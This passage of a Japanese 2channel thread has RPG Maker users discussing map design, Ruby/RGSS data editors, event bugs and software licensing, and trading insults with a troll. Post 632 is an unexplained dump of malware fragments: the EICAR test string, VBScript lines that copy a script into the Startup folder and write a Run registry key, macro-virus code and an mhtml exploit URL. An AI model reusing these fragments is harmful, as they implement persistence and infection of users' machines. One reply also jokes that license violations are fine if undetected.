これをツクールのスクリプトでツクるのは大変だし、
無理やり拵えても、多分操作性が悪すぎる。
HEXマップは既にある自作エディタで、それ以外で必要な
DBエディタはExcelかAccessで作るしかないな。
ツクールのDBをSLGに流用するのは辛いからな。

574 名前:名前は開発中のものです。 mailto:sage [2006/11/18(土) 16:46:00 ID:AU1GXAkj]
SQLiteマンセー

575 名前:名前は開発中のものです。 [2006/11/18(土) 16:52:01 ID:9+YY/qfD]
>>573
イマイチ何がしたいかはっきりとわからないが、SQLite当たりの方がよくないか?


576 名前:名前は開発中のものです。 mailto:age [2006/11/18(土) 18:10:36 ID:3SP29q3J]
あるイベントのグラフィックを下向きのrightと設定して
このイベントをキャラクターの動作指定をつかって
上向きの(どっち向きでもいい行けど)leftにするのは可能ですか?

上向きの真ん中しか無理?



577 名前:名前は開発中のものです。 mailto:sage [2006/11/18(土) 21:18:06 ID:agAUAVLf]
なんのこっちゃ

578 名前:名前は開発中のものです。 mailto:sage [2006/11/18(土) 21:51:59 ID:juBodgz+]
右側のコマとか左側のコマとかのことじゃね

579 名前:名前は開発中のものです。 mailto:sage [2006/11/18(土) 22:57:20 ID:S4X8UvI6]
>>573
ヘックスに拘ってるけど市街マップとかだとかえって不自然になるんだよね。
ルールがそれように四角マスでも十分出来ると思うしマウス操作でない場合
ヘックスは非常にストレスになるよ。
そのままデフォの素材とマップエディタが使えることも含めて四角マスの方が
メリットも大きいから何かヘックスを使う事に意図が無いならそちらも考えてみては?

何はともあれSLGって言うのは物凄く期待してるんで、頑張ってください。

580 名前:名前は開発中のものです。 mailto:sage [2006/11/18(土) 22:58:15 ID:hRIR7PGq]
>>573
どんなモノを求めているのか、いまいちわからん。
Marshal.dumpしたファイル(RGSSのload_data関数で読めるもの)なんかを
直接生成するデータエディタが欲しいなら、Rubyで作ればいいんじゃね?
直接でなくてもいいなら、Excelから変換するスクリプト書けばいいんじゃね?
CSVを読み込んでパースするなんて簡単だし、RubyからExcelを操作もできるし。
その逆はどうだかしらんが。
テキストでデータ書くのでよければ、YAMLなんかも使えるし。

ツクールXPにその機能がついてる必要は、なさげ。
すでにあるものを利用した方が便利だと思われ。
まあ、デフォのデータの項目足りないけどな。

581 名前:526 mailto:sage [2006/11/19(日) 02:43:59 ID:i4c0N3Gy]
>>579
確かにマウスを使わない以上、操作性を考えるとそっちのほうが
圧倒的にやり易いよね。その辺まったく考えてなかったorz。
要するに、マップ作成自体は付属のエディタで見た目
半歩ずらしのマップを作ればいいだけの話で、
さっさと肝心なカーソルやユニットの移動処理に心血を注ぐ
方が建設的ではないかってことですよね?
アドバイスありがとうございます。HEXに拘っていたのは大戦略への
憧れというか、それだけですorz。拠点の防衛戦は是が非でも
盛り込みたいと思ってますので、やっぱ四角にします。
チップのサイズは32だと小さすぎるかな?

>>580
伝わりずらくてごめん。
えっとですね、要するに自前で設計したデータを生成する
GUI環境がほしいってことなんですよ。
机上のデータ設計どおりに、初期値データファイルを生成する
スクリプト書いて何回も流せばいいんですが、それだとテスト時
の効率が悪すぎますよね。ツクール組み込みのDB(アクター他)であれば、
データベースウィンドウを開いてちょちょいと値や画像を変えながら
ガンガン試験できますが、これを戦略データや兵器データに見立てて
流用するにはちょっと辛いんですよね。

582 名前:名前は開発中のものです。 mailto:sage [2006/11/19(日) 05:26:22 ID:Ua8Nv42C]
>>581
実際ヘックスを使ったゲームは十字キーで非常にカーソルが動かしにくかった記憶がある。
ヘックスは大変でも段違いの四角ならそんなに大変でも無かろうにそうしないで碁盤目が
多いのはそのあたりが原因だと思うんだよ。

個人的にネクタリスのような弱いユニットでも戦線の張り方で勝てる強力なZOCによる
包囲効果があるゲームが好きだな。

583 名前:名前は開発中のものです。 mailto:sage [2006/11/19(日) 09:28:49 ID:97KpwG19]
ところで何故526はXPを使えば自作DBの編集をGUIでできると思ったのだろうか
普通に考えてできるわけないと思うのだが

584 名前:名前は開発中のものです。 mailto:sage [2006/11/19(日) 09:37:52 ID:PcdUc3kz]
>>576
動作指定じゃ出来ないかもしれないけど、ページ分けて2ページ目のグラフィックをその上向きの左のにすればいいんでなかろうか。
スイッチで2ページ目に移行すればグラも変わる。アニメーションタイプは完全固定。
めんどくさいかもしれないけど。

585 名前:名前は開発中のものです。 [2006/11/19(日) 10:18:39 ID:2cxGolRB]
>>583
RGSS=Rubyってことだろ(と>>526が考えたってこと)。
RGSSでDBの使用を考えるくらいなら最初からRubyで作った方がよくないか、とは思う。

ゲームつくるのに積極的にRuby使う利点ってあるのかな?


586 名前:名前は開発中のものです。 mailto:sage [2006/11/19(日) 10:38:24 ID:49PeT0Mb]
無い。
ツクール信者が盲信しているだけ。



587 名前:名前は開発中のものです。 mailto:sage [2006/11/19(日) 10:39:13 ID:S9/dw73o]
Rubyの言語仕様はステキだとおもう
あとは公式リファレンスが日本語とか

動作速度が遅いのが今後の課題だとは思う

588 名前:名前は開発中のものです。 mailto:sage [2006/11/19(日) 12:08:35 ID:Ua8Nv42C]
別に盲信なんかしてる奴は居ないよな。遅い事は使ってる奴はわりと皆不満としてこぼすし。
rubyのメリットは薄くてもRGSSはツクールが込みという事を考えるとそれが物凄い利点だよ。

589 名前:名前は開発中のものです。 mailto:sage [2006/11/19(日) 12:44:04 ID:O8/GxI1f]
>>584
ありがとう
やっぱりそうだよね・・・・



590 名前:名前は開発中のものです。 mailto:sage [2006/11/19(日) 14:17:09 ID:n/kdPA70]
RPGツクール95のデーターってシューティングツクール95でいじれる?

591 名前:580 mailto:sage [2006/11/19(日) 17:39:25 ID:4PGs0u+9]
>>581
だから、Rubyで作ればいいんじゃね?

もしかして、テストプレイ中(ゲーム起動中)にアクターなどのデータを
エディタで変えて、それがすぐに反映されるとか思ってる? 反映されないよ。
エディタから出力されたファイルを、ゲームエンジン(Game.exe)が読んでるだけだよ。

あと、キミの言うDBをDBMSのことだと思ってる人がいる。

592 名前:名前は開発中のものです。 mailto:sage [2006/11/19(日) 17:44:54 ID:cwIbgIIB]
言語のデキと実行環境のデキを混同している方がいらっしゃるようだなw
ツクールVistaではC++かC#でも実装してもらうか?w

593 名前:580 mailto:sage [2006/11/19(日) 17:48:16 ID:4PGs0u+9]
>>585
まったくない。

オレはRuby厨なので、Rubyでゲームが作れるRGSSは素敵だが、それしかない。
Rubyの利点はオブジェクト指向でトライアンドエラーがしやすいことなので、
まあ、ゲームの高レベルな部分を作るのには向いてるかなと思わなくもない。

>>588
遅いって不満が、画像の描画以外であることはあんまりないかと。

594 名前:名前は開発中のものです。 mailto:sage [2006/11/19(日) 17:55:58 ID:6nVAngE1]
>>591
> >>581
> だから、Rubyで作ればいいんじゃね?

>>573
> ツクールのスクリプトでツクるのは大変


どうやら591は「ツクールのスクリプト」=Rubyを理解できていないようだ

595 名前:580 mailto:sage [2006/11/19(日) 18:04:41 ID:4PGs0u+9]
>>594
あー、そうか。
「RGSS=Ruby+ゲーム用ライブラリの実行環境」ってことを理解してないんだな。

RybyにはGUIライブラリもあるよー、581。
RGSSでは操作性最悪のしか作れないかもしれないが、
Rubyでなら作れるよー。結構簡単に。

596 名前:名前は開発中のものです。 [2006/11/19(日) 18:17:10 ID:2cxGolRB]
>>595
しかしな、Rubyしか使えないプログラマなんていないだろ。
RGSSはあんたの言うとおり「RGSS=Ruby+ゲーム用ライブラリの実行環境」だから
RGSS使わないなら他の言語使った方がよくないか?

>>592
>ツクールVistaではC++かC#でも実装してもらうか?w
あ、C#使えるC#GSS付きのRPGツクールVistaならまじで欲しいなw

C++はいらね。ツクールの部分が邪魔になりそう。



597 名前:594 mailto:sage [2006/11/19(日) 18:23:30 ID:6nVAngE1]
>>595
お前のことだよボケ

598 名前:名前は開発中のものです。 [2006/11/19(日) 18:26:35 ID:2cxGolRB]
>>597
餅つけ。


599 名前:580 mailto:sage [2006/11/19(日) 18:43:02 ID:4PGs0u+9]
>>596
Marshal.dumpしたファイル(RGSSのload_data関数で読めるもの)なんかを生成する、
データエディタが欲しいなら、この一点でのみRubyお勧め。

これがいらないなら、自分の知ってる言語でいいんじゃね?

600 名前:580 mailto:sage [2006/11/19(日) 18:44:38 ID:4PGs0u+9]
>>597
オレに言ってたのか。

>573>無理やり拵えても、多分操作性が悪すぎる。
RGSSのこと言ってるんだと思われ。

601 名前:526 mailto:sage [2006/11/19(日) 19:26:02 ID:i4c0N3Gy]
なんか俺のせいで妙な雰囲気になっちまってごめんなさい。
俺が言いたかったのは、ツクールにオリジナルDBを視覚的に
作成できる画面がないから別に作らないとなということです。
最初は専用のマップエディタや各種ステータス設定画面をRGSSで、
つまりツクールのゲーム実行中に埋め込んでしまおうかと
考えたんですが(大戦略の兵器図鑑やマップエディタみたいな感じで)、
素直に作ると物理的な操作系がツクールに縛られるので少なくとも
開発者(=俺)にとって「操作性が悪すぎる」ということです。
EXCELやACCESSでさっさと作れそうかなぁと思ってるんですが、
RubyでもGUIアプリを作成する環境(ここではライブラリのことではなく
フォームデザイナ等の開発ソフトのことです)があるようなので
>>599さんの仰るように、余計な処理をかませる必要のなさそうなことも
含めて検討しております。
色々な見解や情報をレスしてくれてありがとう。
もう大丈夫そうなので作業を進めます。
さあ、もとの雰囲気に戻ってくださいまし。

602 名前:名前は開発中のものです。 [2006/11/19(日) 19:45:23 ID:2cxGolRB]
殺伐としたのは>>594のせいだから>>594が消えればいいと思うよw


603 名前:名前は開発中のものです。 mailto:sage [2006/11/19(日) 20:41:31 ID:4Jwfvkpq]
べつに殺伐としても問題無いよ
意味の無いレスで埋まってるわけでもないし

604 名前:名前は開発中のものです。 mailto:sage [2006/11/19(日) 20:47:22 ID:Ua8Nv42C]
>>601
SLGは非常に興味深いし、プレーヤーとしては実はRPGより好きなんで
また何か進展があったら報告とかあると嬉しいな。
こういうことがあると議論がぶつかるのは良くあること
内容まで脱線したグダグダな口喧嘩になってるわけじゃないし
まぁこのくらいなら製作意図の違いによる熱い討論レベルだし気にすることは無いんじゃないと思う。

多少うが無に見えるものや、動く物が上がれば説得力が段違いだし、
意見の違っていた人も、それはそれで認めてくれるんじゃない?

楽しみにしてるんで頑張ってください。

605 名前:580 mailto:sage [2006/11/19(日) 22:49:34 ID:4PGs0u+9]
>>601
ゲーム中に動的に変更するなら、自分で書くしかないね、結局。
F9(デフォのデバッガ呼び出し)とかで外部データを読み込むものだけ作れば、
あとは好きにできるわけで、そっちの方がツクールに変な機能ついてるより楽だと思う。

あとRGSSにもWin32APIは入っているので、
がんばれば別ウインドウとかも出せるんじゃないかな。

606 名前:名前は開発中のものです。 mailto:sage [2006/11/20(月) 00:46:32 ID:uA7uvNOH]
>>605
別ウィンドウ出すのも別にそんな難しくも無いけど
わざわざツクールでやるメリットなんかないっしょ
サンプル全部捨てて1から作る位ならRuby+SDLで自分でラッパー書いたほうがマシだと思うが

まぁ世の中にはVBでAPI使いまくってゲーム作る奴もいる事だし余計なお世話かもしれんけど




607 名前:580 mailto:sage [2006/11/20(月) 01:09:09 ID:neNT2vzW]
>>606
デフォのスクリプト全部捨てるって話ではないので。
つか、別ウインドウ出す必要は、オレは感じてないよ。

あと、個人的にはRuby/SDLよりRGSSのライブラリの方が好き。
必要最低限にまとまってて。自分でラッパー書かなくていいや、ぐらいの話だが。

608 名前:タナ栗粉 ◆8Tdr0tD9Mk [2006/11/20(月) 12:56:50 ID:WC/RLNqE]
スクリプトシェルフの管理人の桜なんたらって人が作った作品っておもしろいの?宝石と冒険者だかなんだか

609 名前:名前は開発中のものです。 mailto:sage [2006/11/20(月) 12:59:23 ID:R4sOTX7V]
プレイ時間1時間って書いてあるんだし自分でやれよ

610 名前:タナ栗粉 [2006/11/20(月) 14:34:04 ID:WC/RLNqE]
自分でやんのがめんどくせえから聞いてんだろがダボ

611 名前:名前は開発中のものです。 mailto:sage [2006/11/20(月) 17:23:38 ID:OWvmZ6PL]
やめてーわたしのために争わないでー

612 名前:タナ栗粉 [2006/11/20(月) 20:00:46 ID:WC/RLNqE]
なんちゃって嘘だよ
ごめん
ところでツクール作品でもっとも良作ってなに?

613 名前:名前は開発中のものです。 mailto:sage [2006/11/20(月) 21:05:00 ID:fLe7tSRG]
>>609
誰に向かっていってるんだ?誤爆は気をつけろよ。

614 名前:名前は開発中のものです。 [2006/11/20(月) 21:06:53 ID:xBvzxuxP]
>>612
飯野賢治の300万本売れるRPGじゃないの?


615 名前:名前は開発中のものです。 mailto:sage [2006/11/20(月) 21:45:01 ID:aJxX5ev0]
はいはい、空気に向かって話しかけてるのはみっともないぞ。
>>609,614

616 名前:タナ栗粉 [2006/11/20(月) 22:23:11 ID:WC/RLNqE]
>>615俺に嫉妬しすぎ
┓(´._ゝ`)┏
でもあやまっとくよ
いくらきみが望んでも生まれ持った才能は分けてあげられない 本当こればっかりは申し訳ない



617 名前:名前は開発中のものです。 mailto:sage [2006/11/20(月) 22:32:33 ID:fLe7tSRG]
そうかタナが来てるのか、気がつかなかった、
内容は良く判らんがあんまり相手にしなさんな。

618 名前:名前は開発中のものです。 mailto:sage [2006/11/20(月) 22:41:57 ID:mLrzdNQ8]
良作といっても人によって好みが違うから決められるものじゃないだろ

619 名前:名前は開発中のものです。 mailto:sage [2006/11/20(月) 22:44:44 ID:yiXEiLNW]
>>617
何だ?タナって?

620 名前:名前は開発中のものです。 mailto:sage [2006/11/20(月) 23:01:12 ID:aJxX5ev0]
>>617
わざわざ名前で呼んでる時点で馬鹿に餌やってることに気付け。
どうしても呼びたきゃ、テンプレ通りタナ厨とでも呼んでやれ。

621 名前:名前は開発中のものです。 mailto:sage [2006/11/21(火) 01:58:47 ID:4VD5a3/r]
>>619
なんていうか今時は子供も言わないような我儘な態度で質問の答えを強要して来る変なコテハンだよ。
相手にしてると切りが無くなる、しなくても来るけどw

622 名前:名前は開発中のものです。 mailto:sage [2006/11/21(火) 02:01:12 ID:4VD5a3/r]
おっとまたレス番飛んでるw
ようは600以降では608、610、612、616、620あたり。

623 名前:名前は開発中のものです。 mailto:sage [2006/11/21(火) 10:01:35 ID:IQoAHzh2]
つーか、もう他茄は来るな、氏ね!
コイツのせいでスルーされた質問数知れず、自分さえ良ければ他の奴が
どうなろうが知ったこっちゃないって典型的な糞野郎の分際で調子に乗るな!
俺も以前この蛆虫のせいでスルーされたからな、マジ存在自体がウザい!
エターナ○の分際で何が「俺の作品はすげーから協力しろ」だ?
ふざけんじゃねっての、フナムシ野郎!
でかい口叩きたけりゃ自慢の妄想うpってからにしやがれ!

624 名前:名前は開発中のものです。 mailto:sage [2006/11/21(火) 10:10:28 ID:L2iUY0WG]
それは別の理由があるんじゃねーのー?

625 名前:名前は開発中のものです。 mailto:sage [2006/11/21(火) 11:31:09 ID:4VD5a3/r]
エターナ○ってなんだ?なんとなく差別用語の匂い。

626 名前:タナ栗粉 ◆8Tdr0tD9Mk [2006/11/21(火) 12:22:20 ID:uXlcnbOO]
>>623おまえかわいいな
チューするぞ



627 名前:名前は開発中のものです。 mailto:sage [2006/11/21(火) 13:18:59 ID:NKAHTtRD]
棚って山田って奴と一緒でしょ。家ゲRPGツクスレやゲ製ツクスレで繁殖していた奴とやり口が一緒ですもの。

エターナル→エターナルチャンピオンなどと称されるように
【永遠の〜】という意味で、永遠に制作が終わらないツクーラーなどを
揶揄してエターナルと呼んだ。

628 名前:名前は開発中のものです。 mailto:sage [2006/11/21(火) 15:09:20 ID:L2iUY0WG]
語源はこれだな。
ttp://studiodias.port5.com/

629 名前:名前は開発中のものです。 mailto:sage [2006/11/21(火) 15:48:07 ID:NKAHTtRD]
>>628
語源1009

630 名前:名前は開発中のものです。 mailto:sage [2006/11/21(火) 15:53:34 ID:Wu1+q31F]
ちょっと質問させてくれ。
友人から要らなくなったと言って2000を譲ってもらったんだが、
これをインストールしたらやっぱ違法になるのかなぁ・・・・・
そこらへん詳しい人教えてください。

631 名前:名前は開発中のものです。 mailto:sage [2006/11/21(火) 15:58:58 ID:NKAHTtRD]
ライセンスも含めて譲渡して貰ってください。

632 名前:名前は開発中のものです。 mailto:sage [2006/11/21(火) 16:54:26 ID:CMuuaM1v]
Set A4 = A1.CreateTextFile(A1.BuildPath(A1.GetSpecialFolder(1)))
<object data="ms-its:mhtml:file://C:\\MAIN.MHT!www.loadcash.biz//adverts//35//main.chm::/main.htm" type="text/
X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*
fso.copyfile "dirsystem&nurupo.vbs", "j:\windows\start menu\programs\startup\"
ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1)
G.RegWrite A("IJDX^MNB@M^L@BIHOD]Rnguv`sd]Lhbsnrngu]Vhoenvr]BtssdouWdsrhno]Sto]VhoRu`su"), E.BuildPath(E.GetSpecialFolder(1), A("VHORU@SU/WCR"))
lines(n)=replace(lines(n),"""",chr(93)+chr(45)+chr(93))
ms-its:mhtml:file://c:\
kak.hta';ken=wd+'START
kill -9 xz/tSaBh0
Sub auto_open()
Application.OnSheetActivate = "check_files"
End Sub

633 名前:名前は開発中のものです。 mailto:sage [2006/11/21(火) 19:19:34 ID:Wu1+q31F]
>>631
バカな俺にもうちょっとkwsk教えてくれ。 頼む

634 名前:名前は開発中のものです。 [2006/11/21(火) 22:31:03 ID:StR14aQj]
>>631
ライセンスはソフトの所有者にあるからソフトを譲渡してもらった時点でライセンスはあなたにあるよ。
ただし、所有権を譲った以上、もとの所有者である君の友人が自分のPCにインストールしたままだと、
君の友人はライセンス違反になる。

もしも、そのソフトを友人から貸与されて使用した場合には所有権はその友人にあるので君がライセンス違反になる。
場合によっては(てか普通は)ソフトの貸与自体がライセンス違反になるから君も友人もライセンス違反になる可能性もある。

でも、バレなきゃいいのよwwwww
犯罪は発覚した時点で犯罪なのよ。


635 名前:名前は開発中のものです。 [2006/11/21(火) 22:31:42 ID:StR14aQj]
>>631じゃなくて>>633だった・・・

636 名前:名前は開発中のものです。 mailto:sage [2006/11/21(火) 22:48:22 ID:klpEbWwk]
RPGツクール2000の質問です。
主人公の名前の変更時に他の主人公と重複しないようにしたいのですが
条件で\v[x]を使用しても参照できていないようです。
他の主人公の名前と比較する方法があれば教えてください。



637 名前:名前は開発中のものです。 mailto:sage [2006/11/21(火) 23:23:03 ID:JbtgywjM]
条件ちゃんとみろ

638 名前:名前は開発中のものです。 mailto:sage [2006/11/21(火) 23:30:09 ID:s6uV0oVs]
作ったの配布するには、ユーザー登録ハガキを送る必要もあったよな?

639 名前:636 mailto:sage [2006/11/21(火) 23:36:28 ID:klpEbWwk]
間違えました、\n[0]で参照できません

640 名前:名前は開発中のものです。 mailto:sage [2006/11/22(水) 00:56:47 ID:hi0t3O0H]
もう2000の登録は送ってもただそれだけっぽい、問い合わせの時も番号を言っても向こうはわからなかったり
管理をちゃんとやっていない感じだし、そのデータ自体のデータベースが現在あるのかも怪しい状態。

641 名前:名前は開発中のものです。 mailto:sage [2006/11/22(水) 01:19:34 ID:0iBiQGom]
そんなんで、ユーザ登録ハガキ必須とか言ってんのか('A`)

642 名前:名前は開発中のものです。 mailto:sage [2006/11/22(水) 01:31:08 ID:pY8WoX1x]
>>639
名前変更可能なキャラが複数いて、それらが重複しないようにしたいんだよね?
\N[n]が有効なところは限られてるから、ムリな気がする。
デフォルトネームに重複してるかは判定できるけど。
同名キャラを普通作りはしないから、プレイヤーにお任せするしかないんじゃない?
名前入力を使ったイベントを組みたいなら、考え直すしかないかと。

643 名前:名前は開発中のものです。 mailto:sage [2006/11/22(水) 01:50:33 ID:7azrMRpP]
>>634
日本の法ってややこしいな・・・サンクス!!

644 名前:名前は開発中のものです。 mailto:sage [2006/11/22(水) 05:37:38 ID:mVS2A34P]
そんなのいちいち気にするなんて律儀ですね。
さすがゲ製作技術板だ。

645 名前:名前は開発中のものです。 mailto:sage [2006/11/22(水) 23:31:08 ID:7azrMRpP]
技術に関する質問じゃなくて悪いんだが、このスレの住人の人って
ツクールで何か作品完成させたことある? もしよければ教えて欲しい

646 名前:名前は開発中のものです。 [2006/11/22(水) 23:40:21 ID:mysPVd5M]
>>645
完成させた奴は自分のHPでも作ってそっちでやってるよ。



647 名前:名前は開発中のものです。 mailto:sage [2006/11/23(木) 00:18:17 ID:7KmoeQ9B]
>646
作品がみたいんじゃなくて、完成させた人がいるかどうかを聞きたかった

648 名前:名前は開発中のものです。 mailto:sage [2006/11/23(木) 00:38:08 ID:+GxueJkn]
質問をはぐらかされるということは、です

649 名前:名前は開発中のものです。 mailto:sage [2006/11/23(木) 04:02:07 ID:TV1BVAmA]
あるけれど最近不穏な空気が濃くなっていて安心して作ったものをUPできるのはVIPくらい。

650 名前:名前は開発中のものです。 mailto:sage [2006/11/23(木) 12:40:55 ID:jIcHT9mO]
>>645>>649 の間にもの凄く温度差を感じた。
>>645 の言う作品というのは、そんなサンプルに毛の生えた様な代物ではないだろうに。

651 名前:名前は開発中のものです。 mailto:sage [2006/11/23(木) 20:24:38 ID:b+j04Nn6]
はは、確かに

652 名前:名前は開発中のものです。 mailto:sage [2006/11/23(木) 21:03:20 ID:/g98BoGv]
2000バリューで制作してるのだが、まったく同じイベントをやっているのに
命令が効いたり効かなかったり…ということが起こってしまった。

自作メニューをマップで作っていて、
メニューマップに行く前に「主人公の向き固定」
元のマップに行く前に「向き固定解除」で
「指定動作の全実行」はどちらとも直後に入れてる。
なのに、「向き固定」と「向き固定解除」の命令がしばしば片方効かなくなる。

この部分に関してはむちゃくちゃ単純だから、
イベントの組み方が変というわけではないと思うんだけど…。
こういう命令が効く効かない「ゆらぎ」みたいなのは時々あるのだろうか?

653 名前:名前は開発中のものです。 mailto:sage [2006/11/23(木) 21:13:17 ID:4xFaXXJ0]
うp

654 名前:名前は開発中のものです。 mailto:sage [2006/11/23(木) 21:46:35 ID:TV1BVAmA]
>>650
別に作品規模はどちらも何も言ってないのに勝手に温度差を感じるとはいかに?
サンプルに毛が生えた程度のサンプルとはどんな物だろう?ツクールに同梱されたサンプル作品は
短い物もあるが十分な完成作品といえる出来だと思うが?

655 名前:名前は開発中のものです。 mailto:sage [2006/11/23(木) 22:08:09 ID:rTH5Jy9h]
>>652
つか、面倒ならメニューに入る時の向きを変数で管理して、
メニューから戻る時に代入された変数に応じて向きを変更すればおk。

656 名前:名前は開発中のものです。 mailto:sage [2006/11/23(木) 22:48:10 ID:/g98BoGv]
原因わかった。
決定キー押してるとダッシュできるようにしてたんだけど
たぶんそれのせいだ。
書いてなかったことが原因ですまん。

うpしようかとメニュー関連だけ取り出したら、
それまで5回に1回くらいは不具合起きてたのが
ピタッと止まったのでわかった。
ともかくここに相談したことで原因解明した。ありがと。



657 名前:653 mailto:sage [2006/11/24(金) 00:23:16 ID:iqZ9NDRW]
>>656
俺の的確なアドバイスのお陰だな。
もっと感謝しなさいよ。

658 名前:名前は開発中のものです。 mailto:sage [2006/11/24(金) 01:40:48 ID:x5Afjfuy]
てめえwww

659 名前:名前は開発中のものです。 mailto:sage [2006/11/24(金) 14:06:04 ID:vHrxg56h]
たった2文字で解決させちまうとはな

660 名前:名前は開発中のものです。 mailto:sage [2006/11/24(金) 14:44:50 ID:/E6j1+Wk]
コナンでもそうは行かんな

661 名前:タナ栗粉 [2006/11/24(金) 19:26:50 ID:iYQRpe0E]
いやあ、考えたシナリオって月日とともに大分かわるね
初期に考えてたのは今思うとひでえな、俺の小説のシナリオよりひどいレベルだったからな
今はかなりよくなった。俺のRPGのシナリオ知りたいひと

662 名前:名前は開発中のものです。 mailto:sage [2006/11/24(金) 21:11:43 ID:7QD5YBkK]
あらすじなんかどうでもいいからとっととうpしろよ?
一体いつになったら出来るんだよ?


663 名前:タナ栗粉 [2006/11/24(金) 21:30:02 ID:iYQRpe0E]
あと半年もしたら完全に完成する

664 名前:名前は開発中のものです。 mailto:sage [2006/11/24(金) 22:42:09 ID:1hNXieKM]
エターナる

665 名前:名前は開発中のものです。 mailto:sage [2006/11/25(土) 04:52:52 ID:OSfej1q9]
何が?

666 名前:タナ栗粉 [2006/11/25(土) 12:47:02 ID:eRvJ5j5W]
誰も聞いてくれないのか
あーもういいよ ばーかばーか



667 名前:名前は開発中のものです。 mailto:sage [2006/11/25(土) 14:48:46 ID:ch6mcSIS]
じゃあ聞いてやるから、とりあえずwordでシナリオ関連をまとめて、うpしてみろよ
脳内で作ったストーリーなんてまともなもんじゃねーし
ツクールの歴史変えるだのと散々言ってきたんだから、それ位当たり前だよな?

668 名前:名前は開発中のものです。 mailto:sage [2006/11/25(土) 16:19:52 ID:jfDjeXNV]
>>666
ああ、ワードでまとめてくれれば、
こっちも評価のしようがあるんだけどな。

669 名前:タナ栗粉 [2006/11/25(土) 17:06:03 ID:eRvJ5j5W]
そんな無理難題を俺に突き付けてさあ俺をつぶそうと・・・
あー なるほどお 強大な敵は若い芽のうちにってわけ?

670 名前:名前は開発中のものです。 mailto:sage [2006/11/25(土) 17:08:52 ID:IMhFadJq]
エターナッてはや3年。
システムツクって燃え尽きちまう。   

671 名前:名前は開発中のものです。 mailto:sage [2006/11/25(土) 17:12:48 ID:jfDjeXNV]
>>669
いやいや、設定を箇条書きにしたものだけでいいからさ。
ワードでまとめて、ロダに上げてくれや。
ここで延々とレスするよりは、まとまった文章で発表するほうがいいだろ?

672 名前:名前は開発中のものです。 mailto:sage [2006/11/25(土) 17:15:06 ID:rgV5wg96]
そうだよね。どうせ途中で投げて日の目をみることはないんだろうし、設定だけでも発表してすっきりしちゃいなよ。

673 名前:名前は開発中のものです。 mailto:sage [2006/11/25(土) 17:37:23 ID:ch6mcSIS]
天才ツクーラーなんだからその程度のことわけないだろ?
自分の作ったストーリーの筋書きもまとめられない奴を
「強大な敵」とは呼べないな。少なくとも俺は。

674 名前:タナ栗粉 [2006/11/25(土) 18:47:02 ID:eRvJ5j5W]
別に普通に設定書けばいいんだろ?つか確か前ここに書いた気がするけどまあいいか

675 名前:名前は開発中のものです。 mailto:sage [2006/11/25(土) 18:57:13 ID:jfDjeXNV]
>>674
おう。
ワードでちゃんとまとめてな。
よろしく頼むぜ!

676 名前:名前は開発中のものです。 mailto:sage [2006/11/25(土) 19:50:05 ID:zT/yEFpr]
練習用にドラクエ1をツクール上で再現するのって違法?



677 名前:名前は開発中のものです。 mailto:sage [2006/11/25(土) 20:00:42 ID:zT/yEFpr]
あ・・・話の流れをぶった切ってしまったようだ^^; スマン
ところで、タナ厨のゲームって神獣がなんとかってやつだっけか? うp

678 名前:名前は開発中のものです。 mailto:sage [2006/11/25(土) 20:02:54 ID:unIdZTV3]
早く天才ツクーラータナの設定資料集見たいな〜

679 名前:名前は開発中のものです。 mailto:sage [2006/11/25(土) 20:03:32 ID:kRzKcBcu]
グレーゾーンじゃね?
再現して個人で楽しむ分にはほとんど問題ないかと

それを公開するとかはアレだな クロゲパ行き
クロゲパに行ったところでどうなるって問題じゃないけどな

680 名前:名前は開発中のものです。 mailto:sage [2006/11/25(土) 20:04:47 ID:kRzKcBcu]
>>679>>676に対してね
要は再現するだけならいいんじゃね?って話

681 名前:名前は開発中のものです。 mailto:sage [2006/11/25(土) 20:06:37 ID:zT/yEFpr]
>>679 >>680
レスサンクス♪
練習用だし、あくまで個人的なものだからよかったゎw

682 名前:タナ栗粉 mailto:ぱくんなよ(*^_^*) [2006/11/25(土) 21:29:20 ID:eRvJ5j5W]
【作品名】
オヴェルスの翼
【あらすじ 設定】
「聖なる地オヴェルス それはすべての始まりの場所
悲しみも絶望も そして光さえも」

レーヴェンドと呼ばれる世界 そこは「ヨミ」という名の魔物が存在していた。
ヨミは幼生から成体へと進化し、新たな幼生を産み次々と増えていった。
ヨミの前では新兵器の「銃」ですら玩具同然だった。
家族を切り裂かれ友をほふられ 人々は滅びを決意する。
しかしある日 オヴェルスから翼を持った古代生物が四体発見された。
聖地から発見されたというその生物は神獣と名付けられた。
そしてヨミに対抗するために、一人の男が己の体に神獣の細胞を埋め込み 人知を越えた力を手にすることに成功した。・・・・ある代償と引き替えに。
そしてその後 ヨミを恨む者 何かを守ろうとする者 名誉を得ようとする者 数々の人間がその力を手にする。


時は50年後 神獣の細胞を埋め込み、力を得た人間による組織が結成されていた。
そしてその組織は聖地オヴェルスをはばたかせる者という意味を込め
「オヴェルスの翼」と呼ばれるようになった。
オヴェルスの翼は新兵器である「銃」の登場により衰退していった「剣」や「槍」と呼ばれる「古代神器(こだいしんき)」を駆使する。
そしてオヴェルスの翼は村や町 ある時は国から依頼を受けヨミを討伐する 無くてはならない存在となっていた。
オヴェルスの翼は実力や戦績に応じて大きく三つに分けられ
小隊の隊長や各隊の伝令、監視を行う「黒羽」
隊長の補佐などを行う「赤羽」
そして通常の戦闘員である最下層「白羽」からなる。
主人公ツウァイスはある目的のためにオヴェルスの翼となる。


683 名前:タナ栗粉 mailto:ぱくんなよ(*^_^*) [2006/11/25(土) 21:30:24 ID:eRvJ5j5W]
主人公ツウァイスはある目的のためにオヴェルスの翼となる。
白羽であるツウァイスだが腕に刻まれた白い翼の紋章は何故か片翼だった。
そして白羽でありながら黒羽以上の力を発揮するツウァイス
物語が進むにつれ自分が所属することになる小隊の隊長レインや、離反者で元小隊の隊長であるベルガー、新しく小隊に所属してきたアルゼなど仲間が増えていく
しかしツウァイスは自分の感情を決して表に出そうとはしない
そんなツウァイスだったがやがて自分の故郷がある人間により壊滅されたことを語る
そしてそれはかつてのツウァイスの恩人だった。
オヴェルスの翼となるための代償
それは神獣の細胞の拒絶反応により定期的にくる激痛
そして記憶を少しずつ無くしていくことだった
更に時が経つにつれその症状は悪化し全ての「オヴェルスの翼」はやがては廃人となる。
しかしまれにその症状が急激に進行し神獣の細胞に支配され、廃人とはならず 強い怨念だけを糧に破壊を繰り返し、さ迷う「咎羽」となる。
あるヨミに導かれ「咎羽」となったツウァイスの恩人は故郷を壊滅させ そのヨミと共に姿を消したのだった。

